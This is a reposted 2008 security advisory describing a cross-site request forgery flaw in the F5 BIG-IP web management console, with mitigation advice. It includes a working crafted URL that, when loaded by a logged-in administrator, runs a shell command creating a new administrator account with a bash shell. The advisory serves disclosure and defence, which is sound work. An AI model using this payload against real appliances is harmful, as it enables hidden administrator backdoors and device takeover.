Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19080
HistoryFeb 12, 2008 - 12:00 a.m.

F5 BIG-IP Web Management Console CSRF (with example)

2008-02-1200:00:00
vulners.com
22

F5 BIG-IP Web Management Console CSRF

Product: F5 BIG-IP
http://www.f5.com/products/big-ip/

By design the F5 BIG-IP web management interface allows a logged-in user with Resource Manager or
Administrator privileges to execute an arbitrary bigpipe shell command through the web "Console"
feature. It is possible to craft URL links that would execute the command with a simple HTTP GET
request. Cross-site attacks may leverage this functionality to reconfigure the BIG-IP appliance,
including creating new administrators.

Example:

https://target/tmui/Control/form?
handler=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe&handler_before=
&form_page=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe.jsp%3F&form_page_before=
&bigpipe_output=&bigpipe_cmd_validation=NO_VALIDATION&bigpipe_cmd_before=
&bigpipe_cmd=user+testuser+password+none+testpwd+shell+%2Fbin%2Fbash+role+administrator+in+all

The vulnerability has been identified in version 9.4.3. However, other versions may be also
affected.

Solution:
Administrators should not browse untrusted sites while logged into the BIG-IP web management
interface. It is not possible to log out of the interface so it is important to shut down the
browser after the interface is no longer needed. Closing the interface browser window or removing
the BIG-IP cookie is not sufficient.

Found by:
nnposter